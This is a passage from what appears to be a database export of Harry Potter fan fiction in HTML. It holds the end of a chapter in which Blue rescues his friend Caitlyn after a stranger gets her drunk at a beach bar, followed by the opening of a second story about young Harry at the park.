lot.&quot;</p>\n\n<p>&quot;Oh,&quot; She was disappointed, &#8220;Can I buy you a drink instead?&#8221;</p>\n\n<p>Blue was hesitant, but he didn\'t want to seem like a jerk. &quot;Sure,&quot; he agreed as she grinned and led him to a spot at the bar. Luckily, he could still see Caitlyn dancing with the guy.</p>\n\n<p>&quot;What would you like?&quot; She leaned over on the table, her eyes travelling over his chest, the length of his arms and back up to his eyes.&nbsp;&nbsp; She smiled.</p>\n\n<p>&quot;Just a Coke, I guess.&quot; Blue sat down and ran his hand through his red hair.</p>\n\n<p>&quot;What\'s your name, I\'m Holly by the way,&#8221; She held out her hand for him to shake.</p>\n\n<p>&quot;Blue,&quot; he replied, taking her hand. &quot;It\'s nice to meet you.&quot;</p>\n\n<p>Holly\'s eyes went wide with wonder for a moment having never heard such a name before.&nbsp;&nbsp; She leaned back in her chair and crossed her legs, one over the other. &quot;Hmm, well that&#8217;s an interesting name.&nbsp;&nbsp; Funny, you don\'t look blue.&quot; She grinned.</p>\n\n<p>Blue smiled back and laughed. &quot;Well, it\'s a nickname, but it\'s been that way for so long now that it\'s the only thing I respond to.&quot; He pointed to his eyes. &quot;My mum gave me the nickname when I was a baby because of my eye colour... they named me after my father, so this gets rid of confusion.&quot;</p>\n\n<p>&quot;I like it, it&#8217;s very unique. So tell me more about yourself Blue.&quot; She flashed a smile of perfect white teeth.</p>\n\n<p>&quot;Well, I go to boarding school back home in the <st1:country-region><st1:place>UK</st1:place></st1:country-region>. It\'s up in <st1:country-region><st1:place>Scotland</st1:place></st1:country-region>, pretty far north.&quot; Blue explained. He was careful about what he said, knowing that this girl was a Muggle. &quot;I play... rugby there.&quot; he remembered a Muggle sport that Caitlyn had once told him about.</p>\n\n<p>&quot;Ooh I bet you\'re the best player on the team, with a build like that you\'ve got to be.&quot; Holly said sweetly.</p>\n\n<p>Blue flushed red again. &quot;I guess.&quot; he sipped one of the Cokes that the bartender sat in front of them and looked up again, unconsciously clenching his jaw as he saw Caitlyn laughing at something the guy was saying.</p>\n\n<p>Holly noticed she didn\'t have his attention, and she followed his gaze to the dancing couple out on the floor.&nbsp; &quot;Blue, is everything all right?&nbsp; You\'re staring at that girl out there like you&#8217;re mad at her.&#8221;</p>\n\n<p>Blue jumped, feeling slightly guilty. &quot;Yeah... she\'s my best friend Caitlyn.&quot;</p>\n\n<p>Holly looked at his \'best friend\' again, she was pretty.&nbsp; &quot;She seems nice.&quot;</p>\n\n<p>&quot;Yeah, she\'s the greatest.&quot; Blue suddenly came alive. &quot;I\'ve known her since we were eleven; our families came here together.&quot;</p>\n\n<p>She smiled a little, &quot;Sounds like she\'s pretty special to you. If you don\'t mind my being so bold as to say...it sounds like you fancy your best friend.&quot;</p>\n\n<p>&quot;What?&quot; He grew flustered. &quot;No, no&#8230; it\'s nothing like that, we\'re just best friends, only friends is all.&quot;</p>\n\n<p>Holly laughed a little, &quot;Blue I\'ve only known you what five minutes and this whole entire time you\'ve been watching her with this pained expression on your face.&nbsp; I know the look of love when I see it.&quot;</p>\n\n<p>He was silent for a moment. &quot;I guess you\'ve found me out.&quot; He turned to her with a sheepish look on his face. &quot;I hope you don\'t think I was leading you on or anything...&quot;</p>\n\n<p>&quot;Well I won&#8217;t say that I\'m not a tad disappointed, but its okay.&nbsp; Love is love and you\'ve found it.&quot; Holly said gently.</p>\n\n<p>&quot;It\'s just a shame she doesn\'t know it as well.&quot; Blue leaned on his hand gloomily. &quot;She looks at every guy but me.&quot;</p>\n\n<p>&quot;This Caitlyn must be blind not to see you more than just a friend, but she\'s also very lucky.&quot;&nbsp; Holly sighed.&nbsp; &quot;There aren\'t many guys like you out there.&quot;</p>\n\n<p>Blue smiled a little at her comment. &quot;I\'m really not that great.&quot; he mumbled.</p>\n\n<p>&quot;Why not tell her how you feel; maybe she doesn&#8217;t know what she has because you never made yourself known in that way.&nbsp; Friends have this invisible line, sometimes it takes the other to show them the way to cross it.&quot; Holly leaned back, &quot;Of course it&#8217;s just a suggestion.&quot;</p>\n\n<p>Blue stared at his now empty glass and shrugged. &quot;Maybe.&quot; he sat back. &quot;So what about you?&quot; he deliberately tried to change the topic.</p>\n\n<p>Dimitri was in full conversation, hoping to impress Caitlyn. &quot;My family&#8217;s summer home is in <st1:state><st1:place>Tuscany</st1:place></st1:state>, a beautiful place.&nbsp; You should see it sometime.&quot;&nbsp; </p>\n\n<p>&quot;<st1:state><st1:place>Tuscany</st1:place></st1:state>, wow,&quot; Caitlyn was impressed. &quot;What brings you all the way over here to <st1:place>Grand Cayman</st1:place> if you have a vacation home there?&quot;</p>\n\n<p>&quot;Well, I had a dream one night. &nbsp;That the woman for me was there in the <st1:place>Grand Cayman</st1:place>, so naturally I followed my heart.&quot;&nbsp; He paused, &quot;I\'m one that can afford to follow his heart.&nbsp; Anyway, my dream was correct, here I have met you.&nbsp; Dear sweet, sweet Caitlyn.&quot;</p>\n\n<p>She was unable to speak when he suddenly bent his head and his lips were on hers. Caitlyn let herself enjoy the kiss as his lips opened her mouth and she felt his tongue inside. She was dizzy when they finally parted; no one had ever kissed her like that.</p>\n\n<p>&quot;I\'m... tired... can we get a drink?&quot; Caitlyn was now missing the Coke she had left at the bar earlier. Dimitri nodded and led her off the floor.</p>\n\n<p>Dimitri held open his wallet, &quot;Please allow me to buy you a drink.&quot;</p>\n\n<p>&quot;Sure,&quot; Caitlyn accepted as she sat down next to him. &quot;Just a Coke will be fine.&quot; Dimitri leaned over the bar to talk to the bartender and ordered a rum and coke, double shot. </p>\n\n<p>Caitlyn eagerly took the drink that was offered to her and took long quick gulps. &quot;This doesn\'t taste like Coke.&quot; she said.</p>\n\n<p>&quot;I asked the bartender to squeeze a little lemon in it, give it a bit of a twist.&quot; He smiled.</p>\n\n<p>&quot;Oh,&quot; Caitlyn sipped it again, still thinking that there was something odd about the drink but not caring, she was so thirsty. She looked up and saw Blue on the other side of the bar, talking to a girl. Caitlyn gave him a tiny wave and he jerked his head slightly in response.</p>\n\n<p>Dimitri ordered himself a fruity, blended drink and drank his slowly watching Caitlyn down hers in less than five minutes.&nbsp; &quot;Would you like another?&quot;</p>\n\n<p>&quot;Sure,&quot; she responded, suddenly feeling light headed. &quot;That would be great, thanks.&quot;</p>\n\n<p>He smiled turning back to the bar signalling to the bartender.&nbsp; After a few seconds her drink was replenished.&nbsp; &quot;Are you enjoying yourself tonight Caitlyn?&quot;</p>\n\n<p>&quot;Oh yes,&quot; Caitlyn said eagerly, as the light headed feeling passed and giddiness replaced it. &quot;I\'ve really enjoyed meeting you.&quot;</p>\n\n<p>&quot;Have you now?&quot; Dimitri hid his smirk by taking a sip from his drink.</p>\n\n<p>&quot;There\'s a serious shortage of good looking guys on this island.&quot; Caitlyn leaned forward, feeling extremely flirtatious. She placed her hand on his arm.</p>\n\n<p>&quot;I see,&quot; He felt around his pockets for something, &quot;Oh no, Caitlyn would you come up to my room with me, I left something very important up there.&nbsp; It will only take a second.&quot;</p>\n\n<p>&#8220;Sure,&#8221; she said, tossing back the rest of her drink. Wobbling dangerously as she got down from the school, she allowed Dimitri to hold her around the waist as he began to lead her away from the bar.</p>\n\n<p>Blue saw his best friend leaving the floor and heading back towards the hotel behind them. Excusing himself, he quickly rushed over to her. &quot;Where do you think you\'re going?&quot;</p>\n\n<p>Dimitri glanced at Blue wondering who this idiot was.&nbsp; &quot;What&#8217;s it to you kid?&quot;</p>\n\n<p>&quot;She\'s my best friend.&quot; Blue crossed his arms over his chest and glared at the other guy.</p>\n\n<p>&quot;Hi Blue,&quot; Caitlyn began to giggle. &quot;I\'m just going upstairs with Dimitri really quick to get something from his room.&quot; She looked up. &quot;Right?&quot; </p>\n\n<p>Dimitri glared back at Blue, &quot;That&#8217;s right, be on your way red.&nbsp; The lady is just fine.&quot;</p>\n\n<p>&quot;I don\'t think so.&quot; Blue forcefully pulled Dimitri\'s arm away from Caitlyn\'s waist. &quot;Be on your way now.&quot;</p>\n\n<p>&quot;This doesn\'t concern you; your friend is old enough to make her own decisions.&#8221; Dimitri was getting frustrated. He hadn&#8217;t just spent 100 dollars on drinks to lose his conquest now.</p>\n\n<p>Blue felt his temper flare, and that was a scary thing. He had inherited his easygoing nature from his uncles Fred and George, but his anger rivaled that of his father\'s when he was angry. &quot;You got her drunk, you asshole,&quot; Blue\'s voice was tight. He could see it in her eyes and by the way she stood. &quot;And now you\'re taking her upstairs? I don\'t think so.&quot;</p>\n\n<p>Dimitri smirked, &quot;You\'re a right annoying little bugger aren\'t you.&quot; He grabbed Caitlyn\'s arm and pulled her closer to him away from Blue.&nbsp; &quot;The lady is coming with me; get out of the way if you know what&#8217;s good for you.&quot;</p>\n\n<p>Blue nearly growled as he leapt forward and pushed the other guy away. &quot;Don\'t make me hurt you,&quot; his blue eyes snapped fire.</p>\n\n<p>Dimitri laughed, &quot;You hurt me, in your dreams boy.&nbsp; I\'ll have you know I\'ve been trained in all forms of martial arts and fighting techniques.&nbsp; You\'ll be begging for your mommy if you even so much as try to hurt me.&#8221;</p>\n\n<p>Dimitri was turning away, confident that he had won when suddenly Blue\'s fist was connected with his face. He fell to the sand, pulling Caitlyn along with him.</p>\n\n<p>He glared up at Blue. &quot;How dare you strike me, prepare to defend yourself!&#8221; He threw Caitlyn away from him and jumped up, taking a ninja style fighting stance.</p>\n\n<p>Blue rolled his eyes. Caitlyn was still lying on the sand and she was still giggling, completely unaware of what was going on above her. &quot;People like you rarely live up to the stories you boast on about.&quot;</p>\n\n<p>Dimitri jumped up in the air and Blue had to restrain himself from laughing out loud. He was leaving himself wide open and Blue took his cue and punched him again, this time leaving the other guy out cold.</p>\n\n<p>He stood there looking for a few moments before helping Caitlyn up. &#8220;Come on, let&#8217;s go back to the hotel.&#8221; </p>\n\n<p>&#8220;Okay,&#8221; Caitlyn giggled again. &#8220;He wasn&#8217;t nice was he?&#8221;</p>\n\n<p>&#8220;No, he wasn&#8217;t.&#8221; Blue grumbled. &#8220;And now you&#8217;re pissed.&#8221;</p>\n\n<p>&#8220;Pissed, I&#8217;m pissed,&#8221; Caitlyn sang as she nearly fell in the sand again. &#8220;What about you, Blue, are you pissed like me?&#8221;</p>\n\n<p>&#8220;No.&#8221; Blue replied shortly as they left the bar behind. They walked in silence for a few minutes; he had to hold her up repeatedly. </p>\n\n<p>&#8220;I&#8217;m sorry,&#8221; Caitlyn suddenly stopped and threw her arms around his neck. &#8220;You&#8217;re my bestest friend in the whole world, you know that?&#8221;</p>\n\n<p>&#8220;Yes, and you&#8217;re my best friend.&#8221; Blue decided to humour her, and as annoyed as he was at the moment, it was nice to have her so close against him.</p>\n\n<p>&#8220;My head is spinning so bad right now.&#8221; Caitlyn let her head rest on his shoulder. &#8220;I&#8217;m so dizzy&#8230;&#8221;</p>\n\n<p>&#8220;Well then how about we sit down for a minute.&#8221; Blue regretfully pushed her away and sat down in the sand. </p>\n\n<p>&#8220;Okay,&#8221; Caitlyn plunked herself down next to him. Her dress rode up about four inches and he gulped at the sight of her legs. &#8220;What was in that drink?&#8221; she muttered to herself.</p>\n\n<p>&#8220;He got you drunk, Caty.&#8221; Blue replied. </p>\n\n<p>&#8220;Drunk&#8230;&#8221; she repeated, flopping back. &#8220;I feel so funny. I&#8217;ve never been drunk before.&#8221;</p>\n\n<p>&#8220;I know.&#8221; He said. Caitlyn let out a sigh and leaned up against him with her head on his shoulder.</p>\n\n<p>&#8220;I already told you that you&#8217;re my bestest friend ever right?&#8221; she looked up at him.</p>\n\n<p>&#8220;Yes,&#8221; Blue said. &#8220;And I told you that you&#8217;re my best friend as well.&#8221;</p>\n\n<p>&#8220;Then why are you so angry at me?&#8221; Caitlyn pouted as she moved even closer to him.</p>\n\n<p>&#8220;I&#8217;m not angry at you,&#8221; Blue replied, which was only partially true. He was more pissed at the loser who had put them in this position in the first place. </p>\n\n<p>&#8220;Yes you are, I can tell.&#8221; Caitlyn sat straight up and wagged a finger at him. &#8220;You can&#8217;t pull one over on me!&#8221; She got up unsteadily and tried to walk away over the sand.</p>\n\n<p>&#8220;Caty!&#8221; He got up and ran towards her as she fell over once more. &nbsp;She had started laughing again and he had a hard stifling his own snickers as he helped her up. </p>\n\n<p>&#8220;Blue&#8230;.&#8221; She threw her arms around his neck. &#8220;Kiss me!&#8221;</p>\n\n<p>&#8220;What?&#8221; Blue nearly dropped her. &nbsp;</p>\n\n<p>&#8220;Kiss me,&#8221; Caitlyn pouted. &#8220;It&#8217;s been so long since I&#8217;ve snogged someone.&#8221;</p>\n\n<p>&#8220;You were snogging that guy before,&#8221; Blue pointed out.</p>\n\n<p>&#8220;I was?&#8221; Caitlyn asked. &#8220;He was okay. I&#8217;ll bet you&#8217;re better at it.&#8221;</p>\n\n<p>&#8220;Err&#8230;&#8221; Blue didn&#8217;t know what to do. One part of him was jumping at the chance to finally kiss her, and the other was restraining&#8230; he knew she was drunk and didn&#8217;t want to take advantage of her state. &#8220;Come on, Caitlyn, you don&#8217;t really want to kiss me.&#8221; He pulled away and began walking again.</p>\n\n<p>&#8220;Yes I do,&#8221; Caitlyn laughed again and wound her arms about his neck once more. She didn&#8217;t know why she was struck with the sudden urge to kiss her best friend but it was something she was now dying to do. </p>\n\n<p>Blue nearly fell backwards as she raised herself on her toes and tried to press her lips against his. &#8220;Come on, knock it off.&#8221; He said as he held her away and tried to being walking again.</p>\n\n<p>&#8220;Please, Blue?&#8221; Caitlyn pursed her lips as she somehow managed to get in front of him. &#8220;Just for a little while,&#8221; she said, giggling again.</p>\n\n<p>Blue looked down at her for a few moments. His body was positively screaming out for the touch of her lips at this point. What harm would it do, he wondered, just to live out his dream for a while. He found his face bending down closer to hers, and then his lips brushed hers lightly for a long moment.</p>\n\n<p>Caitlyn pushed harder against his mouth and for a split second all she saw were stars. Then that feeling passed and another washed over her. &#8220;Oh no&#8230;.&#8221; she pulled away and covered her mouth with both hands, then turned and retched where they had been sitting.</p>\n\n<p>Blue groaned and covered his face with his hands, running them back through his hair. She was on her knees now, and he gulped and then moved forward to hold her long hair back while closing his eyes.</p>\n\n<p>Caitlyn sat back, wiping her mouth with a trembling hand. &#8220;Uhhhh&#8230;&#8221; she muttered. </p>\n\n<p>&#8220;Better?&#8221; Blue asked, wincing as he kicked sand over her mess.</p>\n\n<p>&#8220;I think so,&#8221; Caitlyn replied, still feeling shaky. &#8220;Can we just get back to the hotel?&#8221;</p>\n\n<p>&#8220;Sure.&#8221; Blue replied, helping her up. He was angry at himself for giving in to his whim, and it certainly didn&#8217;t increase his confidence that she had thrown up after kissing him. They were silent the rest of the way back.</p>\n\n<p>&#8220;Where are we?&#8221; she muttered, her head lolling back on his shoulder. She had fallen over again when they reached the hotel property and he had lifted her into his arms like she weighed nothing.</p>\n\n<p>&#8220;We&#8217;re back at your room.&#8221; Blue replied. &#8220;I&#8217;m going to put you on your bed and then&#8230;&#8221; he trailed off as the door in front of them slid open and Hermione appeared. &#8220;Hi&#8230;&#8221;</p>\n\n<p>&#8220;What happened?&#8221; Hermione asked briskly.</p>\n\n<p>&#8220;She um&#8230;&#8221; Blue was ashamed of himself for not keeping a better eye on Caitlyn. &#8220;We were off talking to different people and this jerk got her pissed.&#8221;</p>\n\n<p>Hermione closed her eyes for a long moment. &#8220;Will you bring her in here please?&#8221; she asked calmly. Blue silently carried his best friend into the room and followed her mother to the bathroom. &#8220;I&#8217;ll take care of her from here.&#8221;</p>\n\n<p>&#8220;All right,&#8221; Blue replied, setting Caitlyn on her feet. &#8220;I&#8217;m really sorry.&#8221;</p>\n\n<p>&#8220;It&#8217;s okay, Blue. Thank you for bringing her back safely.&#8221; Hermione replied. Blue nodded and left.</p>\n\n<p>Hermione faced her daughter, who was leaning up against the wall with her hand over her eyes. &#8220;Come on, Caitlyn, you should get some sleep.&#8221;</p>\n\n<p>&#8220;I don&#8217;t feel so good.&#8221; Caitlyn murmured. Hermione stepped forward but Caitlyn turned and rushed to the toilet. She waited until her daughter had emptied her stomach again, and then pressed a cool damp washcloth to her face. </p>\n\n<p>&#8220;You&#8217;re not going to be feeling so good for quite awhile.&#8221; Hermione replied. &#8220;Come on, sit down for a moment.&#8221; She put the seat down and her daughter slumped upon it. &#8220;I&#8217;m going to get your pyjamas.&#8221;</p>\n\n<p>&#8220;Okay,&#8221; Caitlyn muttered, rubbing her eyes. She slumped back against the bathtub, holding her throbbing head.</p>\n\n<p>&#8220;How are you feeling?&#8221; Hermione asked with a slight touch of irritation in her voice. Caitlyn took the pyjamas her mother was holding out to her and struggled to stand up.</p>\n\n<p>&#8220;Horrible,&#8221; she croaked, pulling the top on over her dress. She stumbled back and Hermione had to catch her and help with the rest of the clothing.</p>\n\n<p>&#8220;Why were you drinking Caitlyn?&#8221; Hermione asked. &#8220;You know better than to have so much alcohol.&#8221;</p>\n\n<p>&#8220;I didn&#8217;t mean to,&#8221; Caitlyn muttered. She could feel her mother&#8217;s disappointment and she hated it when her mother was angry with her. &#8220;There was this guy and he bought me some drinks&#8230; I thought it was just Coke.&#8221;</p>\n\n<p>&#8220;You know what a Coke tastes like.&#8221; Hermione said. &#8220;You should have been able to tell if there was something else in it.&#8221;</p>\n\n<p>&#8220;He told me it was just lemon.&#8221; Caitlyn replied, putting her hand to her aching forehead </p>\n\n<p>Hermione opened her mouth to say something but shut it before the words came out. Instead she reached out and smoothed her daughter&#8217;s hair away from her face. &#8220;Come here,&#8221; she hugged her daughter. &#8220;I won&#8217;t lie and say I&#8217;m not disappointed, but everyone makes mistakes.&#8221;</p>\n\n<p>Caitlyn nodded against her mother&#8217;s shoulder, relieved that she wasn&#8217;t angry. &#8220;I&#8217;m really sorry,&#8221; she sniffled back her tears.</p>\n\n<p>&#8220;I know you are,&#8221; Hermione replied. She had half a mind to leave her daughter to experience a hangover, but on the same thought, they were flying back home tomorrow and travelling with a headache like that wouldn&#8217;t make things very easy.</p>\n\n<p>&#8220;I know I don&#8217;t deserve anything&#8230; but do you know a spell to make it go away?&#8221; Caitlyn asked, still looking down shamefully. </p>\n\n<p>&#8220;I do,&#8221; Hermione replied. &#8220;But I want you to promise me something.&#8221;</p>\n\n<p>&#8220;Anything,&#8221; Caitlyn answered.</p>\n\n<p>&#8220;Don&#8217;t ever drink like this again, at least not until you&#8217;re of age and can handle it better.&#8221; Hermione&#8217;s tone was firm but gentle. </p>\n\n<p>Caitlyn nodded vigorously, and immediately regretted it. &#8220;Ohhh&#8230;&#8221; she moaned pitifully as she sank down on the closed toilet seat. &#8220;Mum please, I&#8217;ll do <i>anything</i> you ask&#8230; just please&#8230;&#8221;</p>\n\n<p>Hermione sighed as she stole from the room quietly, although she could have made all the noise she wanted to. Her husband and son could sleep through a hurricane. Snatching the long piece of wood from her bottom dresser drawer, she went back into the bathroom.</p>\n\n<p>Caitlyn was still hunched over in pain and was about to be sick again when she heard her mother mutter a few words, and then nausea subsided and her headache was gone. &#8220;Oh Merlin&#8217;s Beard Mum&#8230; has anyone told you you&#8217;re a bloody genius?&#8221; </p>\n\n<p>&#8220;Yes,&#8221; Hermione replied, her arms crossed. &#8220;Don&#8217;t you forget what you promised me.&#8221;</p>\n\n<p>&#8220;I won&#8217;t.&#8221; Caitlyn whispered, looking properly remorseful. &#8220;I&#8217;ll never drink again.&#8221;</p>\n\n<p>&#8220;I highly doubt that,&#8221; Hermione said, her eyes twinkling with a hint of amusement. &#8220;Just don&#8217;t drink so much that you can&#8217;t handle yourself.&#8221; They left the bathroom and crawled into their respective beds.</p>\n\n<p>&#8220;Mum?&#8221; Caitlyn asked.</p>\n\n<p>&#8220;Yes?&#8221; Hermione answered.</p>\n\n<p>&#8220;Thanks&#8230;. I love you,&#8221; Caitlyn said.</p>\n\n<p>&#8220;I love you too, sweetie,&#8221; Hermione smiled into the darkness as they drifted off to sleep.</p>\n\n<p>*** The Next Morning***</p>\n\n<p>&#8220;So did you and Blue have fun last night, Caitlyn?&#8221; Harry asked as he closed Colin&#8217;s suitcase and put it by the door.</p>\n\n<p>&#8220;Um&#8230;yeah we did,&#8221; Caitlyn replied. </p>\n\n<p>&#8220;What did you do?&#8221; Harry asked interestedly. </p>\n\n<p>&#8220;Well, we met some people our age, and we danced,&#8221; Caitlyn said. &#8220;It was fun.&#8221;</p>\n\n<p>&#8220;Good.&#8221; Harry said as Hermione came out of the bathroom. &#8220;Are you ready to go?&#8221; he asked his wife.</p>\n\n<p>&#8220;I am.&#8221; Hermione replied.</p>\n\n<p>&#8220;I&#8217;m not.&#8221; Caitlyn said. </p>\n\n<p>&#8220;Well, we&#8217;ll go to the lobby and check out,&#8221; Harry said. &#8220;You come and meet us when you&#8217;re finished.&#8221;</p>\n\n<p>&#8220;All right.&#8221; Caitlyn went back to stuffing things randomly into her suitcase. Harry shook his head but fought back a smirk as he, Hermione and Colin left the room. </p>\n\n<p>Ron, Lavender and Blue were already out there, sitting on some sofas. Ron&#8217;s eyes brightened when he saw his friend.</p>\n\n<p>&#8220;I&#8217;m glad you&#8217;re here,&#8221; he said. &#8220;I need your help checking out.&#8221;</p>\n\n<p>Harry laughed as he and Ron went up to the front desk, and Hermione went over and put her hand on Blue&#8217;s shoulder.</p>\n\n<p>&#8220;Blue, can you go help Caitlyn with her suitcase?&#8221; she asked. &#8220;She&#8217;s still packing up the last of her things.&#8221;</p>\n\n<p>&#8220;Sure,&#8221; Blue agreed. Hermione smiled at him and he knew that he was being forgiven for anything she had been angry about the night before. He went back down the corridor to the room and knocked.</p>\n\n<p>&#8220;I&#8217;m almost ready Dad I swear!&#8221; Caitlyn called back. </p>\n\n<p>&#8220;It&#8217;s me,&#8221; Blue replied. </p>\n\n<p>&#8220;Oh sorry,&#8221; Caitlyn went over to the door and let him in. &#8220;I thought you were my father telling me to hurry up again.&#8221;</p>\n\n<p>&#8220;I can go get him for you,&#8221; Blue said, smiling slightly. </p>\n\n<p>&#8220;That&#8217;s all right you&#8217;ll do fine.&#8221; Caitlyn replied. They began silently working to stuff everything back into her suitcase. &#8220;Listen Blue, about last night&#8230;.&#8221; She bit her lower lip. &#8220;Thanks for bringing me back here. I hope I didn&#8217;t do anything too embarrassing.&#8221;</p>\n\n<p>Blue ducked his head so she couldn&#8217;t see his burning face. Caitlyn obviously didn&#8217;t remember kissing him the night before. &#8220;No, you were fine&#8230; once you threw up on the beach.&#8221; He regained his usual teasing smile.</p>\n\n<p>Caitlyn&#8217;s jaw dropped. &#8220;I what?&#8221;</p>\n\n<p>&#8220;All over the place.&#8221; Blue said. &#8220;But before that&#8230;&#8221; he shook his head and she almost pounced on him. </p>\n\n<p>&#8220;What?&#8221; she shrieked. &#8220;What are you hiding?&#8221;</p>\n\n<p>&#8220;Well&#8230; do you remember that strip show you pulled up on the stage while you sang a Celestina Warbeck song?&#8221; Blue bit the inside of his cheek to force the grin from his face. </p>\n\n<p>&#8220;Shut it, you liar.&#8221; Caitlyn replied. &#8220;I did nothing of the sort.&#8221;</p>\n\n<p>&#8220;Yes you did&#8230;&#8221; Blue said with mock seriousness. She stared up at him in horror and he was unable to keep from laughing.</p>\n\n<p>&#8220;You rotting bugger!&#8221; she screamed. Caitlyn pushed him away but was unable to keep from laughing herself. &#8220;Honestly!&#8221;</p>\n\n<p>&#8220;Sorry, I had to.&#8221; He grinned. &#8220;I take it you&#8217;re feeling okay then?&#8221; Blue shut her suitcase and picked it up. </p>\n\n<p>&#8220;Yes, thanks to my mother.&#8221; Caitlyn replied, shutting the door behind them. &#8220;She promised not to say anything to my father though&#8230; he&#8217;d be so angry at me.&#8221;</p>\n\n<p>&#8220;Yeah,&#8221; Blue replied, unsure of what else to say. As they joined the others in the lobby and left the hotel, he decided to keep the true events of the night before a secret. </p>\n\n<p>Perhaps one day he&#8217;d tell her, but for now it was better to be kept quiet. Blue grinned to himself and touched his bottom lip, remembering how hers and pushed so insistently against it.</p>\n\n<p>It wasn&#8217;t something he&#8217;d be forgetting anytime soon.</p> '),
	(81, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal">A/N: Well, Ryoko and I,\nHeaven, have decided to throw our talent together and coauthor a fic. This is\npre Hogwarts and very slightly AU. Please leave us a review and let us know\nwhat you think. Happy reading!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Seven year old Harry Potter\nhung onto the railing of the stairs as his oversized cousin Dudley Dursley,\nalso seven, thundered past him, nearly pushing him off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Watch it Potter.&#8221; Dudley&#8217;s\nlarge mouth, usually filled with cake or pie, was sneering at him. &#8220;You&#8217;d\nbetter not get in my way today, or else.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry simply stared at him,\nit was his way of annoying Dudley and it was something he couldn&#8217;t get in\ntrouble for, because he never said anything. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Petunia Dursley stuck her\nlong neck out from the kitchen, her tight blonde curls bouncing erratically\naround her head. &#8220;Dudders, sweetums, make sure you&#8217;ve got your toys you want to\ntake to show all your friends!&#8221; her gaze turned frosty as it laid on Harry.\n&#8220;Take Dudley&#8217;s toys to the car and don&#8217;t break anything. Then you can come back\nin here and get the lunch sack.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes Aunt Petunia.&#8221; Harry\nmoved his slight frame as Dudley dumped toys in his arms. He knew as well as\nanyone that Dudley did not need to take any toys to the park, he and his &#8216;gang&#8217;\nwould more or less walk around and terrorize smaller children. Their favourite\ngame was to take another person&#8217;s toy and throw it around or even up in a tree.\nWhen Aunt Petunia first began to take the two boys to the park, it was made\nclear that Harry was not to bother Dudley during his playtime. She herself would\nbe off by the other mothers, doing her favourite thing, gossiping. Harry\nusually wound up wandering around by himself, since Dudley would threaten\nanyone who even dared come near him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t spill anything in there!&#8221; Petunia said shrilly as Harry lifted\nthe large basket from the countertop. For a moment it seemed like he would drop\nit as the weight of it made him stagger backwards, but Harry finally managed to\ncatch his balance.&nbsp; He had always been\nrather on the short side, while most boys his age were hitting growth spurts,\nhe had stayed somewhat small.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry barely managed to heave the basket in the back of the car, and\nstood for a moment gasping for breath. Dudley ate as much as a small army; he\nknew all he&#8217;d find in that basket for himself was a bottle of water, a piece of\ncheese and a single slice of bread. The cupcakes, cookies, pies, and extra\nlarge sandwiches made with several different kinds of meat were for Dudley, and\nDudley alone. Petunia rarely ate anything at all in public; she wanted the\nother mothers to admire her pencil thin figure.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ready Dudders? Are you excited to go play with all your friends?&#8221;\nPetunia&#8217;s voice preceded her through the front door. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes Mummy.&#8221; Dudley&#8217;s voice was perfectly sweet. He came out of the\nhouse like a good little boy, and Harry rolled his eyes in the other direction\nand hitched at the waist of his too large pants. Dudley clambered into the car\nand Harry followed, sliding as far as he could to one side.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Petunia lectured Harry the entire way there, as always, and Harry always\nhad to nod and act like he understood everything she was scolding him for,\nwhile Dudley smirked at him across the seat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes Aunt Petunia, I promise I&#8217;ll leave Dudley and his friends alone and\nI will not get into trouble.&#8221; Harry recited as she pulled the car into a spot\nand they got out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Piers!!&#8221; Dudley called out loudly as he ran, well, chugged himself\nalong. Petunia glared at Harry, who was slowly getting out of the car.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Get everything out and set it over there.&#8221; She said, pointing to a\nshady spot on the grass. So Harry had to lug every toy and the basket out again\nover to where the other mothers were bringing their children&#8217;s toys and food.\nHe deposited everything carefully on the ground so his aunt wouldn&#8217;t find\nanything wrong, and then headed off deep into the park away from everyone else.\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry loved going to the park. He certainly didn&#8217;t mind being by\nhimself, he was used to it by now. It was an extremely large park, and all he\nhad to remember to do was to find his way back when he was hungry and when they\nwere leaving for the day. He walked around back by the heavily wooded area\nwhere he could be out of sight from Dudley and from Aunt Petunia.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He found a spot that he had occupied some weeks ago, he&#8217;d put some pine\nneedles there that made the ground softer, and now Harry stretched out on top\nof them, closing his eyes and enjoying the peacefulness that surrounded him\nnow. He was almost asleep when a girl&#8217;s voice cut through his haze.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Give it back!&#8221; she sounded upset and on the verge of tears. Not wanting\nto be discovered, Harry slid back behind the tree, but peeked out to see what\nwas going on.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No.&#8221; Harry was not surprised to hear his cousin&#8217;s taunting voice.\n&#8220;You&#8217;ll never get this book back.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Awww, little Granger, teacher&#8217;s pet!&#8221; one of the young girls in the\ncrowd cried out. &#8220;Nobody here to tattle to, is there?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 